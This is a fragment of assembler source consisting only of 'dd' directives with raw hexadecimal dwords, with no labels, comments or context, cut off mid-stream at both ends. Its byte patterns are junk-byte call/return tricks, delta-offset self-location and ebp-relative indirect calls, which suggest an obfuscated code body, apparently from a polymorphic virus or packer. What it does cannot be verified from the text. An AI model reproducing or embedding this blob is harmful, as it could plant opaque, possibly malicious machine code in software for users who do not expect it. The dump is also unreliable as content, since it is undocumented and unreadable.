6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 232120C3h, 131B0DB5h, 2185FF06h, 6A06130Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 406CC351h, 0D9A8E426h, 71E5617Eh, 0A8A11BEh, 21B5FF11h dd 8906130Bh, 13235DB5h, 0A995FF06h, 6A06130Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0F668C357h, 8160D8E3h, 0FAFFB24h, 0BF0FF9B7h, 8B4090FFh dd 131055B5h, 0A5BD8306h, 61320h, 0CE840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 0C33FBFC3h, 7E966h, 7E050000h, 57657EF5h, 0C1BD830Eh dd 61322h, 96840Fh, 5E80000h, 0BA000000h, 0E034FA1Ah, 2085BD89h dd 665E0613h, 2CA6E781h, 20A595FFh, 8B660613h, 7DB589F3h dd 0B061330h, 69840FC0h, 89000000h, 1328C1BDh, 8D8D8D06h dd 6A06134Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 5DB1C353h, 9E9h, 62DDCD00h, 6B0EE677h dd 5B83CD1h, 8B000000h, 131969B5h, 6AE1FF06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 2983C353h, 0BD0B6D2Bh, 6133205h, 1179BD83h, 0F000613h dd 59784h, 0CF816000h dd 46FC12D7h, 0FF63F181h, 83612F98h, 1322C1BDh, 840F0006h dd 57Ch, 169DB58Bh, 8D8D0613h, 6131B21h, 1F2DB58Bh, 1C70613h dd 44B27C84h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 7BC35545h, 29598FBCh, 1321D98Dh, 0CB018106h, 6A1499CFh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 7363C355h, 91435F2Bh, 1A820Fh, 0E8560000h dd 12h, 9DB42C51h, 669453EAh, 3DB5DF6Fh, 3225AA1Ch, 5E5F15E2h dd 340441C7h, 8BCE706Bh, 44181F3h, 31D6D710h, 7E8h, 3FBBEB00h dd 0A8528FEFh, 163D8D01h, 6A5F0613h, 0F38B6600h, 1B21858Dh dd 85310613h, 6131985h, 0FE890h, 0D8D90000h, 0F4057006h dd 8149FD6Fh, 5212E173h, 138F0F4Dh, 0E9000000h, 0Eh, 1253E8E6h dd 0DE37195Ch, 66705119h, 505F5C73h, 90FB8B66h, 9E5B58Bh dd 95FF0613h, 6131179h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 59C35646h, 4212F17Dh, 0B9666033h, 56607CA7h dd 14E958h, 0E2710000h, 417C7D52h, 0AF115987h, 64BB52E8h dd 4693B53Dh, 61610950h, 1B218D8Dh, 6A0613h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 6089D3C3h dd 1C7h, 800F0000h, 5, 11F78166h, 441C749h, 0 dd 9E9h, 5775C800h, 1A639DEh, 0C00B63E0h, 4A840Fh, 0BF0F0000h dd 8D8D8DFAh, 0E906134Fh, 13h, 724C3385h, 69122ECAh, 0EFDE15BCh dd 29A4FE74h, 0B8C3B2F6h, 5, 0FFF18B66h, 55006AE1h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0F091BEF0h, 1B218D8Dh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 662AFCC3h, 0C7B9C0BEh dd 0AA727C01h, 53006A44h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0AB9FB2Eh, 557036FDh dd 830FC953h, 0 dd 0CFCB0181h, 8B661499h, 359589F9h, 0C706132Bh, 753C0441h dd 6ACE78h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 8137BFC3h, 0D7100441h, 6A31D6h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 2C931BC3h dd 1ABDC99Eh, 218D3183h, 6A061323h, 8DF98B00h, 131B2185h dd 1F810F06h, 0F000000h, 198Eh, 13E800h, 0C9D30000h, 0A8F896D8h dd 0B8315DADh, 8D51ECA2h, 0BEBFA67Fh, 0E9505EE6h, 10h dd 8C3FA23Dh, 18E7B741h, 0E6F4160Ah, 8D308F3Dh, 0E9240489h dd 0Ch, 1164CF02h, 0B7C0C10Ch, 0FA34241Ch, 117995FFh, 6A0613h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0B3A39C3h, 0ADB58Bh, 0F38B0613h, 1B218D8Dh, 6A0613h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 4353E7C3h, 1C7h, 0BD230000h, 613304Dh, 441C7h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8B5BC350h, 130D61BDh, 0FC00B06h, 5F84h, 8D8DF800h dd 6134F8Dh, 0EA59D89h, 5B80613h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 2232C350h, 68F0Fh, 0E6810000h, 51FAABh, 6AE1FFh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0C06C35C3h, 0A223BDE8h, 1B218D8Dh, 6A0613h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0FD8765C3h, 1B8D3591h, 1C7CE8Fh, 54CA95A5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 4AC35646h, 0FAB7FE59h dd 718589AFh, 81061320h, 99CFCB01h, 50006A14h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 790802B6h dd 0A9F8CDB1h, 441C713h, 0CE5F5969h, 44181FCh, 31D6D710h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BEC35646h dd 5156006Ah, 858D5F5Fh, 6131B21h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0FBC35646h, 0C5488D10h, 3DB58916h dd 50061319h, 13E8h, 4A47EB00h, 572685D3h, 0FAD10159h dd 680B3A39h, 0F6DB58Fh, 2404895Eh, 117995FFh, 0BD8B0613h dd 6131991h, 1B218D8Dh, 5E90613h, 0B8000000h, 1C98C78Bh dd 1C7h, 0B5230000h, 61315D5h, 441C7h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 1BE3C353h, 860FA1B5h, 0 dd 840FC00Bh, 4Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 73C35747h, 8DF78B66h, 134F8D8Dh, 5B806h dd 0E1FF0000h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0D0C35040h, 3A1D4784h, 60E9CA03h, 0E8FFFFF2h, 10h dd 0EAFEC251h, 8486D6B6h, 0F397C1ADh, 63FDF98Dh, 34BDBD89h dd 5F500613h, 6AC18B5Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0E972C353h, 0Ah, 2D35B1B1h dd 2366A036h, 4EB7CBDh, 0 dd 10E9BD8Bh, 0F98B0613h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 6FC35747h, 0E4E801DEh, 3880F7Ah, 0F000000h dd 858DF0BFh, 6131EA9h, 15E59D31h, 0BE90613h, 53000000h dd 76DF5AF0h, 0DB34538Ah, 509030C2h, 185CBF52h, 310F5F2Dh dd 5AFA8B66h, 0E9905058h, 8, 2458401Eh, 4E2D1D60h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 9589CFC3h, 613232Dh, 1CC9BD89h, 6A0613h, 0FDAAB2BFh dd 0CF858D4Bh, 8B0616F5h, 1334E1BDh, 61BD8B06h, 83061309h dd 0B53105C0h, 6132835h, 3A94BF57h, 505F139Eh, 2519BF66h dd 6A240489h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0FE921h, 536F0000h, 0AC44508Bh, 0B0CF308h dd 80C98B2Ah, 6A006A84h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 58AFC357h, 0EFBA9FDDh dd 113DBD89h, 0E9600613h, 9, 96978E7Ch, 63CB4D0Dh, 0D0BF0FE9h dd 0F195FF61h, 6A061307h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 917DC357h, 33BBDFB5h dd 4BBF6652h, 9D8D5FDDh, 616A36Ah, 68F0Fh, 0BD8B0000h dd 61316EDh, 6AD3FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0FFDAA8C3h, 1316D985h, 6840F06h dd 29000000h, 132CD9B5h, 8B4E906h, 0E80000h, 5D000000h dd 0F5D9ED81h, 0BD030616h, 61311D9h, 0B21BD81h, 7D00613h dd 860F0000h, 185h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 2AC35747h, 80603DF6h, 61F539F7h, 0E472EF81h dd 9D8B0D4Ah, 6131111h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0C6C35242h, 2FE84259h, 0C8A27C08h, 0E381C3h dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 3830C351h, 8B5B3A69h, 130521BDh dd 0FDB0B06h, 0B085h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0E9F78B5Bh, 5, 73F78E9Ch dd 26BD831Fh, 616F4h, 3A840Fh, 0C6810000h, 7CD59D4h, 2A258D89h dd 75E90613h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0A404C356h, 33E2184Fh dd 99BD8B51h, 5F06132Ah, 0F42685C7h, 10616h, 810F0000h dd 0Ah, 4890Fh, 0BF660000h, 2DE9E5E9h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 3650C352h, 0F28B6650h, 2685C75Fh, 616F4h, 0F9000000h dd 11119D8Dh, 81500613h, 1D6623D6h, 23815F24h, 0FFFFFEFFh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 75C35040h dd 27B378Ch, 0E341C0DBh, 8BF98B8Dh, 1314E1BDh, 0DB8C6606h dd 2BA1BD03h, 0C3F60613h, 69840F04h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0E644C352h, 0D70167CDh, 0FFFE3558h, 13211195h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0CCDF7060h, 9D31A288h, 6131B79h, 0F78B5690h, 850F505Fh dd 6, 6076B660h, 0BF906161h, 665CE412h, 490E9h, 9B58B00h dd 0B0061305h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0D59978FFh, 6A70E643h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 6A5DC356h, 8EF4FE44h, 0FBCD83Fh, 71E4F6BFh dd 1119B58Bh, 0B60F0613h, 55006AD8h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0F79B8F2Eh dd 0E45800F6h, 6BABDAAh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0E110C356h dd 5AA43191h, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 5C6AC5C3h, 14E9h, 93543700h, 0AA59DEF7h dd 39BC6D50h, 0B92185E4h, 0C1532D40h, 0C28B60FDh, 61FBB70Fh dd 304E8C1h, 131335B5h, 1BD8B06h, 66061315h, 0BE9E2F7h dd 0AB000000h, 6BB97AE6h, 7E41753Ah, 0D82BB119h, 1BA19D89h dd 52500613h, 0AE8h, 8916A900h, 75C08F4Dh, 5E2A7BDFh, 241C895Fh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 10C35242h dd 89B0236Bh, 1334B18Dh, 21B5FF06h, 6A06130Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0B42DC352h, 9E945DCh, 0E0000000h, 0F40931DCh, 0FD880D33h dd 0DA995FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 6BF776C3h, 6035B2C8h, 13F5BD8Bh dd 0B00613h, 0EE8h, 57EE2300h, 48A5C651h, 3E7FD5EDh, 5EE5A157h dd 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0E952A1C3h, 0Ah, 404A42B3h, 16E5B4D4h, 0E45E987Dh dd 1DB58971h, 3C06131Bh, 8E830F61h, 6A000002h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 8EBAC356h, 0B8295E25h, 0DE81666Ah, 0B60F1DA2h, 98589D8h dd 0BA061307h, 6, 4C68160h, 2B38E28Ch, 1300D995h, 0C38B6106h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 68C35242h dd 0B50B3B52h, 61306C9h, 8E26D781h, 0E8C15FEBh, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0EC0373BBh, 0DF816A20h, 33CB5225h, 66E2F766h, 89E6A0BFh dd 1311619Dh, 6AD82B06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 9290C353h, 38FFA8DAh dd 58F0B70Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0D6C35646h, 0F3816019h, 3CF85228h, 6850Fh, 8E0F0000h dd 0 dd 0FD82B61h, 18888h, 0D6816600h, 7B96079h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8B45C352h, 1312ADBDh, 0C18306h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 19C35646h, 9200F079h dd 1E65BD29h, 8B660613h, 0FD93BF7h, 12886h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 539E3633h, 0E816AC8h, 14E9h, 2D06AF00h, 0DF13CA89h dd 289A9349h, 9EA5C46Dh, 0F021AAC0h, 0D98C6658h, 1B8560BEh dd 0A4F7811Eh, 0F6520444h, 840F04C1h, 0B6h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0B1C35747h, 4B47523Ch dd 95FF2D8Ch, 6132111h, 52006A5Bh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 5EA3A396h, 0B286DC5Fh dd 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 343D64C3h, 0F000008h, 4186h, 7E800h, 509C0000h dd 0D17B7C0Fh, 9D2960ACh, 6130DD1h, 61C4F580h, 43E95Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 712244C3h, 5E4FBA7Fh, 0C08B8853h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8BC35747h, 8BC38B40h dd 0CD85C7D8h, 0DF061309h, 6A5AFE07h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0FD5C352h dd 1F89h, 13E800h, 0F8920000h, 3D24AE4h, 562A1CBDh, 0E37C5733h dd 53E41F5Eh, 8A0F2Eh, 5F000000h, 0B589C08Bh, 6131415h dd 0B21BD81h, 7D00613h, 850F0000h, 2Dh, 2185FFFCh, 6A06130Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0A968C353h, 5759B5E3h, 608DB812h, 21B5FFF9h dd 6A06130Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0DC43C353h, 0FF01F18Ah, 130DA995h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 23BDF35h, 8B660A1Bh, 6A90F7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 894D29C3h dd 1304FDBDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0AA6E4A78h, 1387A2Fh, 131AC1BDh dd 9A13BE06h, 6A0873h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0E0DB62C3h, 0C731727Dh, 858D292Eh dd 6A061323h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 70DC352h, 65579227h, 6A32B726h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 60A7C356h, 25498D33h, 95890613h, 6130DD9h dd 62D9D89h, 0EB810613h, 59CBEF81h, 0FE96061h, 9A000000h dd 85007989h, 0B4A89935h, 261BDE69h, 0B58B431Dh, 6130DBDh dd 30D8BB66h, 9DBD8B61h, 6006132Fh, 23D78166h, 359D896Ah dd 89061319h, 130FD5BDh, 53E96106h, 2BFFFFF7h, 13307DBDh dd 0C18BFC06h, 0C258589h, 8D290613h, 613299Dh, 104EBh dd 8B0F0000h, 6, 176DBD2Bh, 6A0613h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 1E39A6C3h dd 0F03E2EFEh, 0A9858D1Fh, 8B06131Eh, 130DA5B5h, 0C6816606h dd 5090197Bh, 0EE85152h, 0C1000000h, 0B500C90Bh, 0A26B41F8h dd 0CE3D1FADh, 0F5E5F3Eh, 50585A31h, 4E4ABF66h, 7DB58B90h dd 6A06130Ah, 0C98D8900h, 6A06131Ah, 0AD8D8900h, 8D06130Bh dd 17003285h, 0F28B6606h, 5605C083h, 2C058D89h, 905E0613h dd 14E9h, 2297FA00h, 157D5512h, 4B272655h, 5B36162Ch, 0AF2057A7h dd 14E85041h, 0DA000000h, 9FBAAF13h, 30DDBBB1h, 0DE3428ABh dd 46C620F8h, 0E940226Dh, 8, 11758AC8h, 73B89833h, 8B60905Eh dd 91950BC1h, 61061310h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 68CADCC3h, 5FBCAB14h dd 6ABF1DEAh, 870F00h, 0FF000000h, 1307F195h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 2EF322BEh, 0D1910119h, 0BD8B7FEAh, 61323A5h, 0A36A9D8Dh dd 0BF660616h, 0D3FF3C60h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0CFC35747h, 3DB0BE66h, 16D985FFh, 6A0613h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 0D4F58CC3h, 6D8D892Bh, 66061323h, 89C4D681h, 81BE9h dd 0E800h, 815D0000h, 17003CEDh, 0F08B6606h, 0B21BD81h dd 7D00613h, 860F0000h, 16Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 9FC35545h, 6399D8Bh, 6A0613h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 9D8902C3h, 6130F01h, 100E381h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0E5AF44C3h dd 0C70BA7BFh, 0F9BD8B18h, 0B061320h, 0A8850FDBh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0F35AC352h, 0DE9C6h, 0FE720000h, 38D0861Ah dd 0E9786F89h, 835E6934h, 16FE98BDh, 840F0006h, 49h, 0D850360h dd 0F06131Bh, 684h, 0D1B58900h, 61061306h, 81E9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 2ABBD854h, 7A01C09Bh, 81BD8B1Ah, 2306132Bh, 1305B1BDh dd 9885C706h, 10616FEh, 0E9000000h, 8, 0D66AB7EEh, 48F64F42h dd 35E9h, 898D3100h, 0C7061301h, 16FE9885h, 6, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 54725ECCh, 0F7B1A3ECh, 9D8D6BBCh, 6130639h, 8BF28B66h dd 1313C9BDh, 0FF238106h, 9FFFFFEh, 1328C99Dh, 0DB8C6606h dd 13E9h, 7E155C00h, 0AA6A2385h, 5EFB1503h, 1F9DF327h dd 0BE34C82Dh, 0F04C3F6h, 5384h, 9858900h, 0FF06131Eh dd 13211195h, 9BD8B06h, 9006132Dh, 88A0Fh, 800F0000h, 2 dd 9050F28Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0DAC35747h, 59327264h, 17FA4F96h, 830Fh, 0B5330000h dd 61325D9h, 3E9E9h, 580FBE00h, 0B0729Bh, 11E8h, 922C0700h dd 6EE40C3Eh, 0A353C7DCh, 0AFC87E0Eh, 0F98BE959h, 6A70E65Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0C05AC353h, 0DE9CB096h, 7D86B150h, 16218D29h dd 71E40613h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 77C35545h, 4A6B691Bh, 17DF019Fh, 0F18B66A0h, 66D8B60Fh dd 6BAF38Bh, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 23BBC350h, 0E2DE5E80h dd 3F484709h, 8BF88B66h, 50006AC3h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 8E911h, 63880000h, 993E69D4h dd 0E8C14CA3h, 919D0904h, 6606130Fh, 0BD89E2F7h, 61331A9h dd 0BF0FD82Bh, 525093F8h, 8E9935Eh, 0E4000000h, 8B379C97h dd 19C1084h, 1306C59Dh, 21B5FF06h, 106130Bh, 1317199Dh dd 0A995FF06h, 906130Dh, 130545B5h, 6A00B006h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0A022C351h, 0E99C91D2h, 8589E860h, 6131BA1h, 6A70E6h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0A560DCC3h, 60288822h, 0B618D89h, 0AE80613h, 1D000000h dd 3FFD1DB0h, 0C6DFEA31h, 0F0BF0F2Bh, 5FBE6159h, 0E4008F08h dd 3FB66071h, 0E8C9D3BFh, 613C6115h, 24C830Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 2CCDBDC3h, 0B58B1410h, 613015Dh, 0B1C68166h, 0D8B60FDCh dd 14E9h, 0BE9F0100h, 904C4C6h, 0BA0FFE61h, 0A24D1AFFh dd 685F3AFh, 6BADBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 1C73A6C3h, 0FB1D0E00h dd 8B111786h, 0B00BBEC3h, 0E8C11E78h, 57006A04h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0DFA61F50h, 0F69F162h, 8Fh, 0C8C0F00h, 0E9000000h, 7 dd 177FC4CFh, 668EDB40h, 0E856E2F7h, 0Ah, 4AC40B2h, 6A7FA131h dd 8E9B8EEh, 0E1000000h, 53BEA2E2h, 5E180768h, 6AD82B5Fh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0AF12C356h, 205E8AA3h, 10EE4ACh, 131789BDh dd 0B5BD8B06h, 58061321h, 118F0Fh, 8E80000h, 0B8000000h dd 3A3D33A4h, 66170BD7h, 2B5EF08Bh, 23880FD8h, 0B9000001h dd 7, 48C0Fh, 0BE660000h, 0C183C504h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 73BB1FFBh, 3B20EC03h, 0E7860FD9h, 66000000h, 6AD98Ch dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0BF575CC3h, 567A9539h, 0F04C1F6h, 9384h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0C50A113Ah, 84E8A1D0h, 58D0Fh, 81660000h, 0FF9F5ADEh dd 13211195h, 0F9D78106h, 30469DBh, 132559BDh, 0B58B5B06h dd 6130D4Dh, 2BAD9D29h, 0C32B0613h, 13719D89h, 343D0613h dd 0F000008h, 3386h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 6880F30h, 8B000000h, 131B69BDh dd 2CE906h, 85890000h, 6131961h, 0B533C08Bh, 6132FB1h dd 18830Fh, 13E90000h, 81000000h, 33A049FAh, 20DD2BF9h dd 0A6F45635h, 0DE1B36D6h, 0C38BA815h, 0B589D88Bh, 61313FDh dd 111185C7h, 0F91B0613h, 95893DF1h, 6130AA9h, 6AC08Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 226B6C3h, 0BD815F18h, 6130B21h, 7D0h, 34850Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 3E9766C3h, 20BF883Fh, 0D21BD8Bh, 85FF0613h, 6130B21h dd 0D9B58Bh, 0B5FF0613h, 6130B21h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 12C35646h, 0DB9BBFA2h, 95FF6802h dd 6130DA9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0A8C35343h, 0B6730097h, 1CE1B52Bh, 0E9900613h dd 0Ch, 76969EC3h, 96E68FC3h, 289F5B0Eh, 52006AF5h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0E01170B2h, 324DB533h, 0D7810613h, 2460C4E0h, 0E69CBF66h dd 0B8C0Fh, 81660000h, 8BF61FD7h, 1324CDB5h, 0E5858906h dd 0E8061305h, 5, 0E3F93BCCh, 15B52385h, 5F06132Ah, 0E1BF6650h dd 6A5FE7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 1D66AC3h, 13317585h, 7D9D8906h, 6A06131Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0A980C357h, 2318468Bh, 2963214Fh, 131ECD95h dd 99B52B06h, 0F506132Bh, 4D44EBFh, 0CD958972h, 60061324h dd 68A0Fh, 8D090000h, 6131FA5h, 23619D89h, 1FB50613h, 0DD19D89h dd 8B610613h, 130A75BDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 7AC95546h, 27C1DD12h dd 0F81BE97Ch, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0E11D4CC3h, 0ADFB3214h, 9E9h, 80629C00h dd 74549A67h, 9D89CC4Dh, 6133029h, 6AC18Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 55625BC3h dd 59A3D4CDh, 0EB01BB45h, 104h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0FBC84ADAh dd 55006A43h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 80E7EF87h, 6E1AD672h, 1B699589h, 858D0613h dd 6131EA9h, 78D8531h, 0F500613h, 285h, 89F78B00h, 0BE662404h dd 6A2E37h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 68C35545h, 0A0239B6Bh, 3F69A70Dh, 0FABF0FCDh, 11D9BD29h dd 6A0613h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 29C35242h, 0A046E324h, 8B660216h, 19858DF3h, 6A06170Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 833FC355h, 6A05C0h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 8A0FADC3h, 3, 50F98B66h dd 0DA8B6660h, 24048961h, 8A60F18Bh, 51858BD9h, 61061301h dd 0DDBF006Ah, 6A47C939h, 0F195FF00h, 6A061307h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 4FC7C353h, 7921C525h, 0C88A60A8h, 68D0Fh, 0D6810000h dd 37F8D0B5h, 6A9D8D61h, 660616A3h, 0FF3D2CBEh, 55006AD3h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 66F3795Ah, 8D89F78Bh, 6130AF1h, 16D985FFh, 0D4BF0613h dd 0E9488AFAh, 81Dh, 0E8h, 0ED815D00h, 6170A23h, 81F9BF0Fh dd 130B21BDh, 7D006h, 7C860F00h, 6A000001h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E923C352h dd 14h, 3D1BABB1h, 48E8C592h, 5AF950D6h, 96B4EF9Eh, 0EE1E293Ch dd 2CD59D8Bh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 